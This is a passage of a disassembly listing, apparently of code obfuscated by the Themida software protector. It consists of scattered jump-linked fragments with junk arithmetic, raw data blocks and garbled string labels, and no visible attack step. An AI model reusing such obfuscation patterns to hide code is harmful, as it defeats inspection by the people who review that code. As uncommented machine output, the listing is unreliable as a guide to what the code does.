		jmp	loc_55B4FE
; ---------------------------------------------------------------------------

loc_55B57D:				; CODE XREF: Themida_:00558DF6j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55FBE9
; ---------------------------------------------------------------------------
		dd 24048B66h, 2BA168h, 240C8900h, 4EC81h, 24890000h, 4BB5324h
		dd 1000000h, 5B04245Ch,	72BB5359h, 0E9787272h, 3EADh, 4C281h
		dd 0B9510000h, 43497F22h, 8102E9C1h, 7E0FC9C1h,	95F18116h
		dd 127506Fh, 0EAE959CAh, 5E0000C5h, 2474FF51h, 0F924E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B5E2:				; CODE XREF: Themida_:005589E2j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_568ED2
; ---------------------------------------------------------------------------
		dd 6B0FBA52h, 0C2815136h, 6064783Bh, 2414F752h,	42DAF75Ah
		dd 65B8E9h
		db 0
; ---------------------------------------------------------------------------

loc_55B609:				; CODE XREF: Themida_:00560EDDj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_569F9E
; ---------------------------------------------------------------------------

loc_55B617:				; CODE XREF: Themida_:0056B74Ej
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	ecx
		push	esi
		push	34883E10h
		pop	esi
		xor	esi, 20E54332h
		mov	ecx, esi
		pop	esi
		not	ecx
		and	ecx, 793E27A4h
		sub	ecx, 3D21584h
		neg	ecx
		jmp	loc_560BE2
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 81h
		dd 3F5243F7h, 4E1BE907h, 0BD550000h, 81049F70h,	2C8BE801h
		dd 4C48324h, 8B58C329h,	0C4832404h, 241C3304h, 0E9241C31h
		dd 0FFFFD9C1h, 3B52E981h, 0CE016FFFh, 922FE9h, 30BA00h
		dd 0E2812D73h, 6C765411h, 5F45EA81h, 0F7E934A3h
		db 0DBh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B697:				; CODE XREF: Themida_:0055F335j
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], edi
		push	eax
		push	1545537Dh
		jmp	loc_567F60
; ---------------------------------------------------------------------------

loc_55B6B2:				; CODE XREF: Themida_:00565999j
		mov	eax, 4DDC2EA2h
		jmp	loc_559DA0
; ---------------------------------------------------------------------------

loc_55B6BC:				; CODE XREF: Themida_:00562637j
		push	edx
		jmp	loc_5660F5
; ---------------------------------------------------------------------------
		dw 0C831h
		dd 0CE95659h, 1000015h,	0EA815DEAh, 4, 0E9241487h, 9327h
; ---------------------------------------------------------------------------

loc_55B6DC:				; CODE XREF: Themida_:00559116j
		add	esp, 4
		pop	edi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55BA5A
; ---------------------------------------------------------------------------
		dw 0E8B2h
		dd 0C280DAF6h, 0A9F2800Dh, 8022F280h, 5FE9D8C2h, 5300002Bh
		dd 9A55EDBBh, 7EBC16Eh,	49E9EB81h, 0EB81215Eh, 36E0500Bh
		dd 3369C381h, 0E7E97FDFh, 68000009h, 7D92h, 89241489h
		dd 1917E9E2h
		db 1, 0
; ---------------------------------------------------------------------------

loc_55B732:				; CODE XREF: Themida_:00564A75j
		mov	[esp], esi
		jmp	loc_567FD4
; ---------------------------------------------------------------------------
		dw 34FFh
aSB		db '$éÊ',0
		align 2
		dw 77FFh
		dd 59669D1Ch, 9C2414D3h, 0FFD13BE9h, 40478FFFh,	0FFD133E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B759:				; CODE XREF: Themida_:0056BBF2j
		xor	ebp, 0EE01E344h
		and	edx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 86C5199h
		add	edx, ebp
		jmp	loc_55E635
; ---------------------------------------------------------------------------

loc_55B76F:				; CODE XREF: Themida_:0055FF0Aj
		push	ax
		mov	al, 20h
		and	bh, al
		jmp	loc_56C572
; ---------------------------------------------------------------------------
		dw 0BEh
		dd 89000000h, 2434FFF3h, 4C4835Eh, 515AC381h, 0E96F5Ch
		dd 1000000h, 7C2BE9C3h,	815E0000h, 6B3E7DEEh, 478F5639h
		dd 2434FF40h, 0E789575Eh, 4C781h, 9DE90000h, 0BD000025h
		dd 4, 0FFFD24E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B7C1:				; CODE XREF: Themida_:005681B5j
		sub	edx, 3497760Ch
		jmp	loc_563780
; ---------------------------------------------------------------------------
		dd 5C240C87h, 24048F66h, 66F33166h, 3166DE31h, 0B36866F3h
		dd 7075E932h, 0F1880000h, 64B4505Ah, 58E328h, 4EC83CBh
		dd 0B2241489h, 0CEC280D1h, 0E395E9h, 4C48100h, 81000000h
		dd 283C8CEAh, 0D122E902h, 0F8290000h, 48DEE9h, 0C6814E00h
		dd 41DA0EFAh, 491FCE81h, 0BF5746DBh, 6684640Dh,	0E95FFE31h
		dd 6761h
; ---------------------------------------------------------------------------

loc_55B834:				; CODE XREF: Themida_:00563E49j
		add	eax, 2897E81h
		jmp	loc_5649DD
; ---------------------------------------------------------------------------

loc_55B83E:				; CODE XREF: Themida_:0055FD0Bj
		xchg	ecx, [esp]
		pop	esp
		add	ebp, 4
		jmp	loc_55A592
; ---------------------------------------------------------------------------
aVs		db 'Vé/Î',0
		dw 5000h
		dd 46E910B4h
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55B85B:				; CODE XREF: Themida_:0055AE2Dj
		add	dl, 1
		push	eax
		push	ecx
		jmp	loc_564661
; ---------------------------------------------------------------------------

loc_55B865:				; CODE XREF: Themida_:0055E0FCj
		pop	eax
		push	49ACh
		mov	[esp], eax
		push	esp
		jmp	$+5
		pop	eax
		jmp	loc_56D28F
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 39FBh, 405h,	29AC6800h, 14890000h, 8C0AE924h, 2C890000h
		dd 2474FF24h, 242C8B04h, 0B65FE9h, 242C8900h, 5FE9E589h
		dd 89000096h, 0E0892404h, 6361E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B8B6:				; CODE XREF: Themida_:0055C02Ej
		add	ebp, 161F2D2Ch
		jmp	loc_560016
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 4C481h, 3C870000h, 24248B24h, 4242E9h, 4055800h, 83000000h
		dd 48704E8h, 1C895C24h,	508EBB24h, 8CE94718h, 0B80000A8h
		dd 4D8D7863h, 5A676856h, 0C15E45CDh, 0D6F706E6h, 66F68146h
		dd 81658A7Ch, 0E24E43EEh, 2E6C115h, 0D1CCEE81h,	0DAE9F6F9h
		dd 810000DAh, 522438C7h, 242C8B67h, 297DE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B92A:				; CODE XREF: Themida_:005690BDj
		pop	ebx
		push	2621h
		mov	[esp], ecx
		push	edi
		mov	edi, 37BA7EAFh
		jmp	loc_562C77
; ---------------------------------------------------------------------------

loc_55B93E:				; CODE XREF: Themida_:0055E636j
		mov	ebp, edx
		pop	edx
		jmp	loc_55D077
; ---------------------------------------------------------------------------

loc_55B946:				; CODE XREF: Themida_:0056A0BCj
		pop	esp
		mov	[esp], ebx
		mov	ebx, 6D09459Eh
		and	ebx, 418F1971h
		jmp	loc_560A6E
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 4C4h, 26B85000h, 0E94E3F48h,	10DC4h,	4C181h,	0C870000h
		dd 24248B24h, 0B9685250h, 5A2C4551h, 0F281DAF7h, 5F32A89h
		dd 0A7A3E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B98E:				; CODE XREF: Themida_:005648E2j
		pop	esi
		sub	eax, 5C1C698Fh
		push	dword ptr [esp]
		pop	edi
		jmp	loc_563ABC
; ---------------------------------------------------------------------------
		db 29h,	0F1h, 0E9h
		dd 0FE23h, 2A5EC381h, 0EB8119ECh, 68D5B46h, 15BD901h, 54E953F9h
		dd 66000005h, 51241489h, 0B35391B1h, 3E3C011h, 95E9CBFEh
		dd 5000030h, 4,	8704C083h, 51E92404h
		db 84h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55B9DF:				; CODE XREF: Themida_:0056CB40j
		and	esi, 1F0F341Ch
		push	ebp
		jmp	loc_566281
; ---------------------------------------------------------------------------
		db 58h
		dd 4C281h, 1A680000h, 89000030h, 74FF2414h, 148B0424h
		dd 7F86E924h, 0C1490000h, 565708E9h, 0D14CD0BEh, 0DEC68169h
		dd 0E951F036h, 0AD92h
; ---------------------------------------------------------------------------

loc_55BA1C:				; CODE XREF: Themida_:0056704Ej
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	eax, [esp]
		push	697h
		mov	[esp], ebp
		push	esp
		jmp	loc_56B3A8
; ---------------------------------------------------------------------------
		db 50h
		dd 405E089h, 2D000000h,	4, 5C240487h, 2AFDE9h, 5B5E5300h
		dd 0DC57E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55BA5A:				; CODE XREF: Themida_:0055B6E9j
		push	ebx
		push	22707E05h
		pop	ebx
		push	ecx
		mov	ecx, 7724124h
		or	ebx, ecx
		pop	ecx
		push	eax
		mov	eax, 26FAC495h
		add	ebx, eax
		pop	eax
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		push	ebp
		mov	ebp, 63533C98h
		xchg	esi, ebp
		not	esi
		xchg	esi, ebp
		shr	ebp, 8
		or	ebp, 5EC56E99h
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 7FB5035Eh
		shl	ebx, 3
		jmp	loc_55A074
; ---------------------------------------------------------------------------

loc_55BAA7:				; CODE XREF: Themida_:00560D50j
		pop	eax
		jmp	loc_562C09
; ---------------------------------------------------------------------------
		db 68h,	0C3h, 74h
		dd 8F540000h, 4812404h,	424h, 4C18E900h, 835E0000h, 846802C5h
		dd 89000003h, 5DE9242Ch, 8F0000DAh, 665C2404h, 9C2424D3h
		dd 0FFCDABE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55BAE1:				; CODE XREF: Themida_:00560A2Dj
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_562DA2
; ---------------------------------------------------------------------------
		db 51h,	68h, 0F2h
		dd 5977E857h, 58E95641h, 540000F4h, 0E924348Bh,	0FFFFF248h
		dd 0FB20EDBAh, 369A6851h, 14890000h, 861E924h
		db 1, 0
; ---------------------------------------------------------------------------

loc_55BB1E:				; CODE XREF: Themida_:00560EA6j
		mov	ebp, 116E4D41h
		inc	ebp
		not	ebp
		not	ebp
		sub	ebp, 2043B7A2h
		sub	esi, ebp
		pop	ebp
		jmp	loc_55D8EF
; ---------------------------------------------------------------------------
		dw 0D829h
		dd 68F8015Bh, 3B00h, 0E9241489h, 11457h, 51DFF658h, 0EF80DFB1h
		dd 66CF00AFh, 0AFB450h,	0E95866E7h, 240Bh, 9C241CF7h, 4468E9h
		dd 48B6600h, 44E95724h,	520000D1h, 5CB45051h, 0FE39C480h
		dd 0E695E9C4h, 0C381FFFFh, 35E1ADB5h, 34FFDF89h, 0A6E95B24h
		dd 8B000004h, 62E9242Ch, 29000046h, 0E6C281CAh,	595AE644h
		dd 81242C8Bh, 4C4h, 8BF23100h, 0C4832434h, 1C572104h, 0E924148Bh
		dd 0FFFFF572h, 0E9241C31h, 0CD07h, 2414F650h, 0B4505258h
		dd 58E688BBh, 34FFF020h, 0C4835A24h, 7E8C004h, 580468h
		dd 24148900h, 0C6FE46B6h, 1FE95066h
		db 92h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55BBF3:				; CODE XREF: Themida_:0056084Dj
		push	eax
		push	ecx
		jmp	loc_55ABA1
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 46824h, 2C8B0000h, 6EEBE924h, 2CAC0000h, 4EC81A6h, 89000000h
		dd 55B5240Ch, 2C59E800h, 763EE915h, 0CD890000h,	52EA8952h
		dd 0E721E9h
		db 0
; ---------------------------------------------------------------------------

loc_55BC2D:				; CODE XREF: Themida_:00567421j
		pop	edx
		xor	ecx, 60601C80h
		sub	edx, 0E605E26h
		add	edx, ecx
		push	55E5h
		mov	[esp], ecx
		push	edi
		mov	edi, 2DD95E64h
		mov	ecx, edi
		pop	edi
		jmp	loc_5593EC
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 3B117B08h, 0D15EF129h, 38BF57E9h, 29DB5398h,	33E95FF9h
		dd 8300006Eh, 43304C0h,	24043124h, 8B240433h, 34E92424h
		dd 0B90000B4h, 9C30722h, 6FD3E9h, 24248900h, 2C3FE9h, 4EC8100h
		dd 89000000h, 0B0502414h, 8472E94Ah, 81510000h,	84C2434h
		dd 76E97115h, 6600009Eh, 0B5515352h, 0DEE580D3h, 0C0AEF580h
		dd 0DDF603EDh, 0F580D5F6h, 59EF88ABh, 4EC81h, 0C890000h
		dd 0CE0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55BCD6:				; CODE XREF: Themida_:00564C20j
		pop	eax
		shl	ebp, 4
		add	ebp, 1CF417F8h
		push	esi
		mov	esi, 6BE02394h
		or	ebp, esi
		pop	esi
		neg	ebp
		inc	ebp
		jmp	loc_55CDA4
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0E924248Bh, 0F20Ah, 9B2DD801h, 0E937A76Fh, 2D85h, 48F8E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55BD0E:				; CODE XREF: Themida_:00565F39j
		shl	eax, 4
		push	0
		jmp	loc_56AFF3
; ---------------------------------------------------------------------------
		db 83h
		dd 0EC8104C4h, 4, 0FF241C89h, 5B042474h, 0FFE0EAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55BD31:				; CODE XREF: Themida_:005647E3j
		shr	ecx, 6
		jmp	loc_56095E
; ---------------------------------------------------------------------------
		db 35h,	0F2h, 49h
		dd 57351979h, 31DE508Bh, 0F20958C6h, 8324348Bh,	0EA8104C4h
		dd 274158F2h, 1AAEB81h,	31E91987h, 8100002Ah, 120004EDh
		dd 5DEF0105h, 976CE9h, 0BA525700h, 52997C88h, 0E904E2C1h
		dd 0FFFFD82Bh
; ---------------------------------------------------------------------------

loc_55BD7C:				; CODE XREF: Themida_:00559C29j
		dec	edi
		jmp	loc_56A6B4
; ---------------------------------------------------------------------------
		dw 0F701h
		dd 443C781h, 835E3F11h,	3C8704C7h, 0AA7E924h, 48F0000h
		dd 6575E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55BD9E:				; CODE XREF: Themida_:005628EEj
		mov	ebp, edx
		jmp	loc_569ADD
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 42h
		dd 2906A43Eh, 0DD47E9D1h, 0D9F7FFFFh, 69BCE181h, 0E1C1567Ch
		dd 2E1C106h, 0A804F181h, 0CB010001h, 0E5D9E959h, 555FFFFFh
		dd 101A1ABDh, 5DE92946h, 8959CF31h, 243C8BF8h, 4C481h
		dd 0BE560000h, 0D3A1E44Eh, 0ECE9F001h, 56000046h, 0E904EC83h
		dd 659h
; ---------------------------------------------------------------------------

loc_55BDFC:				; CODE XREF: Themida_:005687C2j
		add	esp, 4
		shr	eax, 0Eh
		xor	eax, ecx
		jmp	loc_5603A3
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8124048Bh, 4C4h, 9426800h, 34890000h, 0DA85E924h, 14890000h
		dd 6B14E924h, 0D3290000h, 79EB815Ah, 57CA1535h,	89D88950h
		dd 0FD8958C7h, 6D59E95Fh, 0C3810000h, 57132B0Eh, 83242C8Bh
		dd 0EC8304C4h, 240C8904h, 5112ACB9h, 0E9D1876Ah, 11C34h
; ---------------------------------------------------------------------------

loc_55BE60:				; CODE XREF: Themida_:0055C61Aj
		pop	edi
		jmp	loc_55F97B
; ---------------------------------------------------------------------------
		dw 6664h
		dd 8302B60Fh, 2C8904ECh, 4EC8124h, 89000000h, 52532424h
		dd 3ABAE9h, 89535A00h, 4B850E3h, 0E9000000h, 0CDD5h, 0E92434FFh
		dd 8720h, 28E3C380h, 506651C3h,	0E18848B4h, 24048B66h
		dd 0F602C483h, 3E1C0D9h, 0C980C9FEh, 7F65E93Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55BEBA:				; CODE XREF: Themida_:00568730j
		mov	eax, [esp]
		add	esp, 4
		add	eax, 48445970h
		sub	eax, esi
		push	edi
		jmp	loc_5658A5
; ---------------------------------------------------------------------------
		dd 4B0C181h, 0BDE973FEh, 89000050h, 87B82404h, 0F7120E7Eh
		dd 6B962DD8h, 0C7899159h, 0F753E958h, 0BF57FFFFh, 2882324Fh
		dd 595BC781h, 0BE5656A1h, 24D0981h, 25EE81h, 0B9E91D24h
		dd 0BBFFFFCFh, 7F4C046Dh, 1948E9h, 2E176800h, 0D1E90000h
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55BF23:				; CODE XREF: Themida_:0056713Dj
		mov	ecx, 36E97A2Ch
		jmp	loc_565B9F
; ---------------------------------------------------------------------------

loc_55BF2D:				; CODE XREF: Themida_:00565761j
		push	ebx
		push	esp
		pop	ebx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 66EB718Bh
		not	eax
		add	eax, 66EB7190h
		add	ebx, eax
		jmp	loc_55AE04
; ---------------------------------------------------------------------------
		dd 54240C89h, 6F936859h, 95E90000h
		db 3, 1, 0
; ---------------------------------------------------------------------------

loc_55BF5B:				; CODE XREF: Themida_:00567FD6j
		push	edx
		mov	edx, 6C403FE3h
		not	edx
		xor	edx, 4B6E7AC4h
		add	edx, 272E452Ch
		jmp	loc_5598CF
; ---------------------------------------------------------------------------
		dd 3E50E981h, 0C12968DDh, 3E50C181h, 2DE968DDh
		db 2 dup(1), 0
; ---------------------------------------------------------------------------

loc_55BF87:				; CODE XREF: Themida_:0056A5A7j
		sub	edx, 367D2A02h
		add	eax, 5870375Fh
		add	eax, 38CD0321h
		jmp	loc_566474
; ---------------------------------------------------------------------------

loc_55BF9C:				; CODE XREF: Themida_:0055A9ECj
		mov	eax, [esp]
		add	esp, 4
		shl	ebp, 8
		neg	ebp
		push	edx
		mov	edx, 2CCB832Eh
		sub	ebp, edx
		jmp	loc_564F67
; ---------------------------------------------------------------------------

loc_55BFB4:				; CODE XREF: Themida_:005609ADj
		pop	ecx
		jmp	loc_5596F5
; ---------------------------------------------------------------------------
aASR		db '€Æ<éÓ',0
		align 2

loc_55BFC2:				; CODE XREF: Themida_:00560E0Aj
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 5
		push	cx
		mov	ch, 0C2h
		push	ebx
		mov	bh, ch
		mov	dh, bh
		pop	ebx
		jmp	loc_5688DF
; ---------------------------------------------------------------------------
		db 0FFh
a4YhA		db '4$Yh×a',0
		align 4
		dd 89243489h, 4C681E6h,	83000000h, 84E904C6h
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55BFFB:				; CODE XREF: Themida_:00568FF2j
		pop	ecx
		not	eax
		xor	eax, 0B756571h
		and	eax, 47A34B6Fh
		xor	eax, 253327FBh
		sub	eax, 31727EDCh
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0F11FF0FBh
		sub	eax, ecx
		jmp	loc_5597FE
; ---------------------------------------------------------------------------

loc_55C027:				; CODE XREF: Themida_:0055971Ej
		mov	ebp, 68854DE5h
		neg	ebp
		jmp	loc_55B8B6
; ---------------------------------------------------------------------------
aQss@		db 'Qé™@',0
		dd 4C48100h, 29000000h,	2434FFF8h, 4C4835Fh, 0E951C331h
		dd 0FFFFEE6Bh
; ---------------------------------------------------------------------------

loc_55C050:				; CODE XREF: Themida_:0056670Cj
		add	ecx, 4
		jmp	loc_55D119
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 555B0000h, 5372E9h
		db 0
; ---------------------------------------------------------------------------

loc_55C069:				; CODE XREF: Themida_:005666CCj
		shr	ecx, 2
		push	edi
		mov	edi, esp
		jmp	loc_56D2A9
; ---------------------------------------------------------------------------
		dd 468h, 0C9E95800h
		db 86h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55C07F:				; CODE XREF: Themida_:0055C5CAj
		add	dword ptr [esp], 13624195h
		pop	eax
		jmp	loc_5595C2
; ---------------------------------------------------------------------------

loc_55C08C:				; CODE XREF: Themida_:0055EB16j
		pop	edx
		xchg	edi, [esp]
		jmp	loc_55CC11
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 81000000h, 4E9h, 240C8700h, 240C895Ch, 0FD5D7268h, 240C8B28h
		dd 3104C483h, 31CE31F1h, 2C8756F1h, 55D5F724h, 42474FFh
		dd 24048F5Dh, 5E2434FFh, 4C481h, 0F1310000h, 0F131CE31h
		dd 5153D9F7h, 0AB6502B9h, 4815134h, 0B879CF24h,	0EB815B73h
		dd 73B879CFh, 53B95159h, 0E94C9B20h, 0B280h, 0E946D6F7h
		dd 99C3h
; ---------------------------------------------------------------------------

loc_55C104:				; CODE XREF: Themida_:00564B63j
		pop	ebx
		jmp	loc_55A3BF
; ---------------------------------------------------------------------------
aBF1vISx	db 'Ãä1‚׉Ý[éX#',0
		align 4
		dd 8107EBC1h, 7D683DF3h, 3AC38179h, 81223C13h, 0A43998C3h
		dd 5BDF89D5h, 6289BD55h, 0D5F76BDEh, 0BC0DE952h, 2D660000h
		dd 8B660C9Ch, 69E92434h
		db 1Bh,	1, 0
; ---------------------------------------------------------------------------

loc_55C14B:				; CODE XREF: Themida_:0055AA7Cj
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_565FC0
; ---------------------------------------------------------------------------
		dw 8F5Eh
		dd 248B2404h, 24348924h, 0E904EC83h, 727Bh, 0FF5A1A88h
		dd 0FAE92434h, 89000028h, 74FF2434h, 34FF0424h,	0E9505E24h
		dd 6408h
; ---------------------------------------------------------------------------

loc_55C18C:				; CODE XREF: Themida_:0055D655j
		pop	esi
		add	esi, 0FB22BC6h
		pop	ebx
		xor	[esp+4], esi
		push	dword ptr [esp]
		jmp	loc_564AC2
; ---------------------------------------------------------------------------
		dd 7C0868h, 24148900h, 0E9535A54h, 0C585h, 0D03EE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55C1B6:				; CODE XREF: Themida_:0055FD79j
		push	ebp
		jmp	loc_56C608
; ---------------------------------------------------------------------------
		dd 0C4CEC281h, 0E942F802h, 0F687h, 148BD001h, 4C48124h
		dd 0E9000000h, 10BCh
; ---------------------------------------------------------------------------

loc_55C1D8:				; CODE XREF: Themida_:0055B33Fj
		push	7187h
		mov	[esp], ebx
		push	30D9h
		mov	[esp], eax
		push	edi
		mov	edi, 33044A2Ah
		add	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		pop	ebx
		jmp	loc_5609B2
; ---------------------------------------------------------------------------
		dw 0C6FEh
		dd 805FC680h, 0F30014EEh, 9DB4505Ah, 0A8EEE9h
		db 0
; ---------------------------------------------------------------------------

loc_55C211:				; CODE XREF: Themida_:0055F922j
		mov	edi, 73C27261h
		jmp	loc_563315
; ---------------------------------------------------------------------------

loc_55C21B:				; CODE XREF: Themida_:00558F0Ej
		push	ebp
		jmp	loc_569B64
; ---------------------------------------------------------------------------
		db 33h,	3Ch, 24h
		dd 6624248Bh, 2404AB0Fh, 0C65AE99Ch, 0EF80FFFFh, 0E9D700DEh
		dd 65F3h
; ---------------------------------------------------------------------------

loc_55C23C:				; CODE XREF: Themida_:0055F2DCj
		pop	ecx
		sub	eax, 6931444Fh
		jmp	loc_566C1A
; ---------------------------------------------------------------------------
a3Sux		db '3<$éžx',0
		dw 8900h
		dd 0DD0158C3h, 50241C8Bh, 1154FE9h, 4B800h, 0C7010000h
		dd 0E924048Bh, 9DA0h, 4EC8351h,	0B8240489h, 2D53530Bh
		dd 8904EC83h, 47E9241Ch
		db 1Bh,	1, 0
; ---------------------------------------------------------------------------

loc_55C283:				; CODE XREF: Themida_:00567179j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		push	5E9Bh
		jmp	loc_568F33
; ---------------------------------------------------------------------------

loc_55C297:				; CODE XREF: Themida_:00559737j
		mov	ebx, [esp]
		jmp	loc_5699DF
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9042474h, 0F73Bh, 3058C530h, 0DE2859EBh, 0FFF5885Bh
		dd 0E95A2434h, 954Eh, 53FFC280h, 0D852E9h, 8BDD0000h, 0C483241Ch
		dd 0FFE80004h, 83592434h, 87E904C4h, 33000016h,	248B2414h
		dd 482EE924h, 0EF810000h, 2C61C22h, 7FFCEF81h, 5E9608Bh
		db 0D6h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55C2F7:				; CODE XREF: Themida_:00566F7Fj
		mov	edi, [esp]
		push	ebp
		push	esp
		jmp	loc_55FD10
; ---------------------------------------------------------------------------
aASsB		db '€ÇèéÌB',0
		dd 5AD18900h, 5559CD29h, 42474FFh, 24048F5Dh, 243C895Ch
		dd 1E9E789h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C323:				; CODE XREF: Themida_:00560B40j
		shr	edx, 1
		cmp	eax, edx
		jmp	loc_56BB17
; ---------------------------------------------------------------------------
		dd 247C015Fh, 48F5F04h,	24048124h, 4, 52241C8Bh, 0FFECAAE9h
		dd 243C8BFFh, 3212E9h, 14896600h, 5070B624h, 53A2E9h, 241C8900h
		dd 0E0D6368h, 0C6F6E94Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C366:				; CODE XREF: Themida_:00562738j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55D0DE
; ---------------------------------------------------------------------------
		dd 4240481h, 5F000000h,	4B951h,	0BB530000h, 0A66075Fh
		dd 7CF7EB81h, 0F5E94D1Fh, 89000092h, 0E9555BD9h, 0FFFFF876h
; ---------------------------------------------------------------------------

loc_55C3AC:				; CODE XREF: Themida_:0056A993j
		sub	esp, 4
		jmp	loc_559730
; ---------------------------------------------------------------------------
		db 57h
		dd 0BD55E789h, 4, 0E95DEF01h, 939Eh, 8E8C158h, 0E955D0F7h
		dd 0E609h, 24048B66h, 575B5453h, 0C781E789h, 4,	8704EF83h
		dd 895C243Ch, 0FEB82404h, 253CF15Bh, 6FE203FEh,	0FFD5D5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C3FD:				; CODE XREF: Themida_:0055ABC0j
		add	eax, 5DB91148h
		add	eax, ebp
		sub	eax, 5DB91148h
		pop	ebp
		pop	esi
		jmp	loc_55F932
; ---------------------------------------------------------------------------

loc_55C410:				; CODE XREF: Themida_:00559167j
		pop	eax
		xor	eax, 5F133F1Dh
		push	small word ptr [eax]
		jmp	loc_55888C
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24148904h, 0FFC6D7E9h, 29BE56FFh, 873B452Bh,	87D7F7FEh
		dd 0E637E9FEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55C43A:				; CODE XREF: Themida_:005654B3j
		mov	ebx, 6671917h
		shr	ebx, 7
		and	ebx, 79196700h
		jmp	loc_56735D
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8BE0E9h, 242C8900h, 1F2768h,	24348900h, 1BEABF57h, 0F7817CCDh
		dd 75E94A02h, 4AE9FE89h
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55C473:				; CODE XREF: Themida_:0055D827j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5651ED
; ---------------------------------------------------------------------------

loc_55C484:				; CODE XREF: Themida_:005601B5j
					; Themida_:00560B51j ...
		mov	ebx, [esp]
		push	3D01h
		mov	[esp], ebp
		mov	ebp, esp
		push	eax
		push	esp
		mov	eax, [esp]
		jmp	loc_567734
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 40D7E900h, 0E9590000h,	106C8h,	20EE055Dh, 0F8292199h
		dd 9920EE2Dh, 0BE565F21h, 26E46C74h, 2D5EF001h,	4C412089h
		dd 0E92434FFh, 497Eh
; ---------------------------------------------------------------------------

loc_55C4D0:				; CODE XREF: Themida_:00566CA2j
		sub	[edx+30h], eax
		pop	eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 0A6h, 0C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C4E6:				; CODE XREF: Themida_:00568269j
		push	dword ptr [esp+4]
		mov	edi, [esp]
		push	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_56A3CA
; ---------------------------------------------------------------------------

loc_55C50C:				; CODE XREF: Themida_:00569A8Aj
		pop	edi
		push	esi
		jmp	loc_569368
; ---------------------------------------------------------------------------
		db 89h
		dd 10E9242Ch, 31FFFFCBh, 1C33241Ch, 24248B24h, 112E9E9h
		db 0
; ---------------------------------------------------------------------------

loc_55C529:				; CODE XREF: Themida_:005630EEj
		add	edx, eax
		pop	eax
		neg	edx
		add	edx, 72637858h
		add	ebp, edx
		pop	edx
		push	edi
		jmp	loc_5694D9
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 117D8E9h
		db 0
; ---------------------------------------------------------------------------

loc_55C545:				; CODE XREF: Themida_:005632E2j
		push	ebx
		jmp	loc_568034
; ---------------------------------------------------------------------------

loc_55C54B:				; CODE XREF: Themida_:0055E2BCj
